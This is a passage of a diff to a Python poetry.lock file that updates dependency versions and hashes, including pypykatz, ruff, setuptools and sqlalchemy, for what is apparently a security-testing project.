"sha256:55ccbe27f049743a4caf4f4221b166560d3438d0b1e5ab929e07ae1702a4d6fd"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9"}, + {file = "pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51"}, + {file = "pycryptodomex-3.23.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:febec69c0291efd056c65691b6d9a339f8b4bc43c6635b8699471248fe897fea"}, + {file = "pycryptodomex-3.23.0-pp27-pypy_73-win32.whl", hash = "sha256:c84b239a1f4ec62e9c789aafe0543f0594f0acd90c8d9e15bcece3efe55eca66"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea"}, + {file = "pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7de1e40a41a5d7f1ac42b6569b10bcdded34339950945948529067d8426d2785"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bffc92138d75664b6d543984db7893a628559b9e78658563b0395e2a5fb47ed9"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df027262368334552db2c0ce39706b3fb32022d1dce34673d0f9422df004b96a"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e79f1aaff5a3a374e92eb462fa9e598585452135012e2945f96874ca6eeb1ff"}, + {file = "pycryptodomex-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:27e13c80ac9a0a1d050ef0a7e0a18cc04c8850101ec891815b6c5a0375e8a245"}, + {file = "pycryptodomex-3.23.0.tar.gz", hash = "sha256:71909758f010c82bc99b0abf4ea12012c98962fbf0583c2164f8b84533c2e4da"}, ] [[package]] name = "pyflakes" -version = "3.2.0" +version = "3.3.2" description = "passive checker of Python programs" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "pyflakes-3.2.0-py2.py3-none-any.whl", hash = "sha256:84b5be138a2dfbb40689ca07e2152deb896a65c3a3e24c251c5c62489568074a"}, - {file = "pyflakes-3.2.0.tar.gz", hash = "sha256:1c61603ff154621fb2a9172037d84dca3500def8c8b630657d1701f026f8af3f"}, + {file = "pyflakes-3.3.2-py2.py3-none-any.whl", hash = "sha256:5039c8339cbb1944045f4ee5466908906180f13cc99cc9949348d10f82a5c32a"}, + {file = "pyflakes-3.3.2.tar.gz", hash = "sha256:6dfd61d87b97fba5dcfaaf781171ac16be16453be6d816147989e7f6e6a9576b"}, ] [[package]] @@ -1783,7 +1843,7 @@ develop = false type = "git" url = "https://github.com/Pennyw0rth/NfsClient" reference = "HEAD" -resolved_reference = "0fa1c048394f601d565c6301880da84912b8245a" +resolved_reference = "db23219a1aed79a51a5d6a0a32635a3ba887221e" [[package]] name = "pyopenssl" @@ -1806,14 +1866,14 @@ test = ["flaky", "pretend", "pytest (>=3.0.1)"] [[package]] name = "pyparsing" -version = "3.2.1" +version = "3.2.3" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pyparsing-3.2.1-py3-none-any.whl", hash = "sha256:506ff4f4386c4cec0590ec19e6302d3aedb992fdc02c761e90416f158dacf8e1"}, - {file = "pyparsing-3.2.1.tar.gz", hash = "sha256:61980854fd66de3a90028d679a954d5f2623e83144b5afe5ee86f43d762e5f0a"}, + {file = "pyparsing-3.2.3-py3-none-any.whl", hash = "sha256:a749938e02d6fd0b59b356ca504a24982314bb090c383e3cf201c95ef7e2bfcf"}, + {file = "pyparsing-3.2.3.tar.gz", hash = "sha256:b9c13f1ab8b3b542f72e28f634bad4de758ab3ce4546e4301970ad6fa77c38be"}, ] [package.extras] @@ -1853,14 +1913,14 @@ kerberos = ["pyspnego[kerberos]"] [[package]] name = "pypykatz" -version = "0.6.10" +version = "0.6.11" description = "Python implementation of Mimikatz" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "pypykatz-0.6.10-py3-none-any.whl", hash = "sha256:b997d8ce7c012593ee7aabbaff86dac33a782c2edebd3adeec1809c7c400cd0f"}, - {file = "pypykatz-0.6.10.tar.gz", hash = "sha256:3342e36086bc95ea0cb3f84358cda72ea1fc474d1900beae382c971c0ff40096"}, + {file = "pypykatz-0.6.11-py3-none-any.whl", hash = "sha256:212e577e4333c6ce326118cc62bd1cc4fe515c05f97e260664616d758b754f3a"}, + {file = "pypykatz-0.6.11.tar.gz", hash = "sha256:c8dc3fa3443dec76fc48d9803d7ebf29f4f5fd8ad04682592765d0870f704518"}, ] [package.dependencies] @@ -1964,14 +2024,14 @@ defusedxml = ["defusedxml (>=0.6.0)"] [[package]] name = "pytz" -version = "2025.1" +version = "2025.2" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "pytz-2025.1-py2.py3-none-any.whl", hash = "sha256:89dd22dca55b46eac6eda23b2d72721bf1bdfef212645d81513ef5d03038de57"}, - {file = "pytz-2025.1.tar.gz", hash = "sha256:c2db42be2a2518b28e65f9207c4d05e6ff547d1efa4086469ef855e4ab70178e"}, + {file = "pytz-2025.2-py2.py3-none-any.whl", hash = "sha256:5ddf76296dd8c44c26eb8f4b6f35488f3ccbf6fbbd7adee0b7262d43f0ec2f00"}, + {file = "pytz-2025.2.tar.gz", hash = "sha256:360b9e3dbb49a209c21ad61809c7fb453643e048b38924c765813546746e81c3"}, ] [[package]] @@ -1998,14 +2058,14 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" -version = "13.9.4" +version = "14.0.0" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" optional = false python-versions = ">=3.8.0" groups = ["main"] files = [ - {file = "rich-13.9.4-py3-none-any.whl", hash = "sha256:6049d5e6ec054bf2779ab3358186963bac2ea89175919d699e378b99738c2a90"}, - {file = "rich-13.9.4.tar.gz", hash = "sha256:439594978a49a09530cff7ebc4b5c7103ef57baf48d5ea3184f21d9a2befa098"}, + {file = "rich-14.0.0-py3-none-any.whl", hash = "sha256:1c9491e1951aac09caffd42f448ee3d04e58923ffe14993f6e83068dc395d7e0"}, + {file = "rich-14.0.0.tar.gz", hash = "sha256:82f1bc23a6a21ebca4ae0c45af9bdbc492ed20231dcb63f297d6d1021a9d5725"}, ] [package.dependencies] @@ -2018,47 +2078,47 @@ jupyter = ["ipywidgets (>=7.5.1,<9)"] [[package]] name = "ruff" -version = "0.11.3" +version = "0.11.12" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.11.3-py3-none-linux_armv6l.whl", hash = "sha256:cb893a5eedff45071d52565300a20cd4ac088869e156b25e0971cb98c06f5dd7"}, - {file = "ruff-0.11.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:58edd48af0e201e2f494789de80f5b2f2b46c9a2991a12ea031254865d5f6aa3"}, - {file = "ruff-0.11.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:520f6ade25cea98b2e5cb29eb0906f6a0339c6b8e28a024583b867f48295f1ed"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1ca4405a93ebbc05e924358f872efceb1498c3d52a989ddf9476712a5480b16"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4341d38775a6be605ce7cd50e951b89de65cbd40acb0399f95b8e1524d604c8"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72bf5b49e4b546f4bea6c05448ab71919b09cf75363adf5e3bf5276124afd31c"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:9fa791ee6c3629ba7f9ba2c8f2e76178b03f3eaefb920e426302115259819237"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c81d3fe718f4d303aaa4ccdcd0f43e23bb2127da3353635f718394ca9b26721"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4e4c38e9b6c01caaba46b6d8e732791f4c78389a9923319991d55b298017ce02"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9686f5d1a2b4c918b5a6e9876bfe7f47498a990076624d41f57d17aadd02a4dd"}, - {file = "ruff-0.11.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4800ddc4764d42d8961ce4cb972bcf5cc2730d11cca3f11f240d9f7360460408"}, - {file = "ruff-0.11.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e63a2808879361aa9597d88d86380d8fb934953ef91f5ff3dafe18d9cb0b1e14"}, - {file = "ruff-0.11.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:8f8b1c4ae62638cc220df440140c21469232d8f2cb7f5059f395f7f48dcdb59e"}, - {file = "ruff-0.11.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:3ea2026be50f6b1fbedd2d1757d004e1e58bd0f414efa2a6fa01235468d4c82a"}, - {file = "ruff-0.11.3-py3-none-win32.whl", hash = "sha256:73d8b90d12674a0c6e98cd9e235f2dcad09d1a80e559a585eac994bb536917a3"}, - {file = "ruff-0.11.3-py3-none-win_amd64.whl", hash = "sha256:faf1bfb0a51fb3a82aa1112cb03658796acef978e37c7f807d3ecc50b52ecbf6"}, - {file = "ruff-0.11.3-py3-none-win_arm64.whl", hash = "sha256:67f8b68d7ab909f08af1fb601696925a89d65083ae2bb3ab286e572b5dc456aa"}, - {file = "ruff-0.11.3.tar.gz", hash = "sha256:8d5fcdb3bb359adc12b757ed832ee743993e7474b9de714bb9ea13c4a8458bf9"}, + {file = "ruff-0.11.12-py3-none-linux_armv6l.whl", hash = "sha256:c7680aa2f0d4c4f43353d1e72123955c7a2159b8646cd43402de6d4a3a25d7cc"}, + {file = "ruff-0.11.12-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:2cad64843da9f134565c20bcc430642de897b8ea02e2e79e6e02a76b8dcad7c3"}, + {file = "ruff-0.11.12-py3-none-macosx_11_0_arm64.whl", hash = "sha256:9b6886b524a1c659cee1758140138455d3c029783d1b9e643f3624a5ee0cb0aa"}, + {file = "ruff-0.11.12-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3cc3a3690aad6e86c1958d3ec3c38c4594b6ecec75c1f531e84160bd827b2012"}, + {file = "ruff-0.11.12-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f97fdbc2549f456c65b3b0048560d44ddd540db1f27c778a938371424b49fe4a"}, + {file = "ruff-0.11.12-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74adf84960236961090e2d1348c1a67d940fd12e811a33fb3d107df61eef8fc7"}, + {file = "ruff-0.11.12-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:b56697e5b8bcf1d61293ccfe63873aba08fdbcbbba839fc046ec5926bdb25a3a"}, + {file = "ruff-0.11.12-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d47afa45e7b0eaf5e5969c6b39cbd108be83910b5c74626247e366fd7a36a13"}, + {file = "ruff-0.11.12-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:692bf9603fe1bf949de8b09a2da896f05c01ed7a187f4a386cdba6760e7f61be"}, + {file = "ruff-0.11.12-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:08033320e979df3b20dba567c62f69c45e01df708b0f9c83912d7abd3e0801cd"}, + {file = "ruff-0.11.12-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:929b7706584f5bfd61d67d5070f399057d07c70585fa8c4491d78ada452d3bef"}, + {file = "ruff-0.11.12-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:7de4a73205dc5756b8e09ee3ed67c38312dce1aa28972b93150f5751199981b5"}, + {file = "ruff-0.11.12-py3-none-musllinux_1_2_i686.whl", hash = "sha256:2635c2a90ac1b8ca9e93b70af59dfd1dd2026a40e2d6eebaa3efb0465dd9cf02"}, + {file = "ruff-0.11.12-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:d05d6a78a89166f03f03a198ecc9d18779076ad0eec476819467acb401028c0c"}, + {file = "ruff-0.11.12-py3-none-win32.whl", hash = "sha256:f5a07f49767c4be4772d161bfc049c1f242db0cfe1bd976e0f0886732a4765d6"}, + {file = "ruff-0.11.12-py3-none-win_amd64.whl", hash = "sha256:5a4d9f8030d8c3a45df201d7fb3ed38d0219bccd7955268e863ee4a115fa0832"}, + {file = "ruff-0.11.12-py3-none-win_arm64.whl", hash = "sha256:65194e37853158d368e333ba282217941029a28ea90913c67e558c611d04daa5"}, + {file = "ruff-0.11.12.tar.gz", hash = "sha256:43cf7f69c7d7c7d7513b9d59c5d8cafd704e05944f978614aa9faff6ac202603"}, ] [[package]] name = "setuptools" -version = "75.8.1" +version = "80.9.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.9" groups = ["main", "dev"] files = [ - {file = "setuptools-75.8.1-py3-none-any.whl", hash = "sha256:3bc32c0b84c643299ca94e77f834730f126efd621de0cc1de64119e0e17dab1f"}, - {file = "setuptools-75.8.1.tar.gz", hash = "sha256:65fb779a8f28895242923582eadca2337285f0891c2c9e160754df917c3d2530"}, + {file = "setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922"}, + {file = "setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c"}, ] [package.extras] check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""] -core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.collections", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] +core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] cover = ["pytest-cov"] doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] enabler = ["pytest-enabler (>=2.2)"] @@ -2099,93 +2159,93 @@ files = [ [[package]] name = "soupsieve" -version = "2.6" +version = "2.7" description = "A modern CSS selector implementation for Beautiful Soup." optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "soupsieve-2.6-py3-none-any.whl", hash = "sha256:e72c4ff06e4fb6e4b5a9f0f55fe6e81514581fca1515028625d0f299c602ccc9"}, - {file = "soupsieve-2.6.tar.gz", hash = "sha256:e2e68417777af359ec65daac1057404a3c8a5455bb8abc36f1a9866ab1a51abb"}, + {file = "soupsieve-2.7-py3-none-any.whl", hash = "sha256:6e60cc5c1ffaf1cebcc12e8188320b72071e922c2e897f737cadce79ad5d30c4"}, + {file = "soupsieve-2.7.tar.gz", hash = "sha256:ad282f9b6926286d2ead4750552c8a6142bc4c783fd66b0293547c8fe6ae126a"}, ] [[package]] name = "sqlalchemy" -version = "2.0.38" +version = "2.0.41" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5e1d9e429028ce04f187a9f522818386c8b076723cdbe9345708384f49ebcec6"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b87a90f14c68c925817423b0424381f0e16d80fc9a1a1046ef202ab25b19a444"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:402c2316d95ed90d3d3c25ad0390afa52f4d2c56b348f212aa9c8d072a40eee5"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6493bc0eacdbb2c0f0d260d8988e943fee06089cd239bd7f3d0c45d1657a70e2"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0561832b04c6071bac3aad45b0d3bb6d2c4f46a8409f0a7a9c9fa6673b41bc03"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:49aa2cdd1e88adb1617c672a09bf4ebf2f05c9448c6dbeba096a3aeeb9d4d443"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-win32.whl", hash = "sha256:64aa8934200e222f72fcfd82ee71c0130a9c07d5725af6fe6e919017d095b297"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-win_amd64.whl", hash = "sha256:c57b8e0841f3fce7b703530ed70c7c36269c6d180ea2e02e36b34cb7288c50c7"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bf89e0e4a30714b357f5d46b6f20e0099d38b30d45fa68ea48589faf5f12f62d"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8455aa60da49cb112df62b4721bd8ad3654a3a02b9452c783e651637a1f21fa2"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f53c0d6a859b2db58332e0e6a921582a02c1677cc93d4cbb36fdf49709b327b2"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b3c4817dff8cef5697f5afe5fec6bc1783994d55a68391be24cb7d80d2dbc3a6"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c9cea5b756173bb86e2235f2f871b406a9b9d722417ae31e5391ccaef5348f2c"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:40e9cdbd18c1f84631312b64993f7d755d85a3930252f6276a77432a2b25a2f3"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-win32.whl", hash = "sha256:cb39ed598aaf102251483f3e4675c5dd6b289c8142210ef76ba24aae0a8f8aba"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-win_amd64.whl", hash = "sha256:f9d57f1b3061b3e21476b0ad5f0397b112b94ace21d1f439f2db472e568178ae"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:12d5b06a1f3aeccf295a5843c86835033797fea292c60e72b07bcb5d820e6dd3"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e036549ad14f2b414c725349cce0772ea34a7ab008e9cd67f9084e4f371d1f32"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee3bee874cb1fadee2ff2b79fc9fc808aa638670f28b2145074538d4a6a5028e"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e185ea07a99ce8b8edfc788c586c538c4b1351007e614ceb708fd01b095ef33e"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b79ee64d01d05a5476d5cceb3c27b5535e6bb84ee0f872ba60d9a8cd4d0e6579"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:afd776cf1ebfc7f9aa42a09cf19feadb40a26366802d86c1fba080d8e5e74bdd"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-win32.whl", hash = "sha256:a5645cd45f56895cfe3ca3459aed9ff2d3f9aaa29ff7edf557fa7a23515a3725"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-win_amd64.whl", hash = "sha256:1052723e6cd95312f6a6eff9a279fd41bbae67633415373fdac3c430eca3425d"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ecef029b69843b82048c5b347d8e6049356aa24ed644006c9a9d7098c3bd3bfd"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9c8bcad7fc12f0cc5896d8e10fdf703c45bd487294a986903fe032c72201596b"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a0ef3f98175d77180ffdc623d38e9f1736e8d86b6ba70bff182a7e68bed7727"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b0ac78898c50e2574e9f938d2e5caa8fe187d7a5b69b65faa1ea4648925b096"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:9eb4fa13c8c7a2404b6a8e3772c17a55b1ba18bc711e25e4d6c0c9f5f541b02a"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5dba1cdb8f319084f5b00d41207b2079822aa8d6a4667c0f369fce85e34b0c86"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-win32.whl", hash = "sha256:eae27ad7580529a427cfdd52c87abb2dfb15ce2b7a3e0fc29fbb63e2ed6f8120"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-win_amd64.whl", hash = "sha256:b335a7c958bc945e10c522c069cd6e5804f4ff20f9a744dd38e748eb602cbbda"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:40310db77a55512a18827488e592965d3dec6a3f1e3d8af3f8243134029daca3"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d3043375dd5bbcb2282894cbb12e6c559654c67b5fffb462fda815a55bf93f7"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70065dfabf023b155a9c2a18f573e47e6ca709b9e8619b2e04c54d5bcf193178"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:c058b84c3b24812c859300f3b5abf300daa34df20d4d4f42e9652a4d1c48c8a4"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:0398361acebb42975deb747a824b5188817d32b5c8f8aba767d51ad0cc7bb08d"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-win32.whl", hash = "sha256:a2bc4e49e8329f3283d99840c136ff2cd1a29e49b5624a46a290f04dff48e079"}, - {file = "SQLAlchemy-2.0.38-cp37-cp37m-win_amd64.whl", hash = "sha256:9cd136184dd5f58892f24001cdce986f5d7e96059d004118d5410671579834a4"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:665255e7aae5f38237b3a6eae49d2358d83a59f39ac21036413fab5d1e810578"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:92f99f2623ff16bd4aaf786ccde759c1f676d39c7bf2855eb0b540e1ac4530c8"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa498d1392216fae47eaf10c593e06c34476ced9549657fca713d0d1ba5f7248"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a9afbc3909d0274d6ac8ec891e30210563b2c8bdd52ebbda14146354e7a69373"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:57dd41ba32430cbcc812041d4de8d2ca4651aeefad2626921ae2a23deb8cd6ff"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:3e35d5565b35b66905b79ca4ae85840a8d40d31e0b3e2990f2e7692071b179ca"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-win32.whl", hash = "sha256:f0d3de936b192980209d7b5149e3c98977c3810d401482d05fb6d668d53c1c63"}, - {file = "SQLAlchemy-2.0.38-cp38-cp38-win_amd64.whl", hash = "sha256:3868acb639c136d98107c9096303d2d8e5da2880f7706f9f8c06a7f961961149"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:07258341402a718f166618470cde0c34e4cec85a39767dce4e24f61ba5e667ea"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0a826f21848632add58bef4f755a33d45105d25656a0c849f2dc2df1c71f6f50"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:386b7d136919bb66ced64d2228b92d66140de5fefb3c7df6bd79069a269a7b06"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2f2951dc4b4f990a4b394d6b382accb33141d4d3bd3ef4e2b27287135d6bdd68"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8bf312ed8ac096d674c6aa9131b249093c1b37c35db6a967daa4c84746bc1bc9"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6db316d6e340f862ec059dc12e395d71f39746a20503b124edc255973977b728"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-win32.whl", hash = "sha256:c09a6ea87658695e527104cf857c70f79f14e9484605e205217aae0ec27b45fc"}, - {file = "SQLAlchemy-2.0.38-cp39-cp39-win_amd64.whl", hash = "sha256:12f5c9ed53334c3ce719155424dc5407aaa4f6cadeb09c5b627e06abb93933a1"}, - {file = "SQLAlchemy-2.0.38-py3-none-any.whl", hash = "sha256:63178c675d4c80def39f1febd625a6333f44c0ba269edd8a468b156394b27753"}, - {file = "sqlalchemy-2.0.38.tar.gz", hash = "sha256:e5a4d82bdb4bf1ac1285a68eab02d253ab73355d9f0fe725a97e1e0fa689decb"}, + {file = "SQLAlchemy-2.0.41-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:6854175807af57bdb6425e47adbce7d20a4d79bbfd6f6d6519cd10bb7109a7f8"}, + {file = "SQLAlchemy-2.0.41-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:05132c906066142103b83d9c250b60508af556982a385d96c4eaa9fb9720ac2b"}, + {file = "SQLAlchemy-2.0.41-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b4af17bda11e907c51d10686eda89049f9ce5669b08fbe71a29747f1e876036"}, + {file = "SQLAlchemy-2.0.41-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:c0b0e5e1b5d9f3586601048dd68f392dc0cc99a59bb5faf18aab057ce00d00b2"}, + {file = "SQLAlchemy-2.0.41-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = 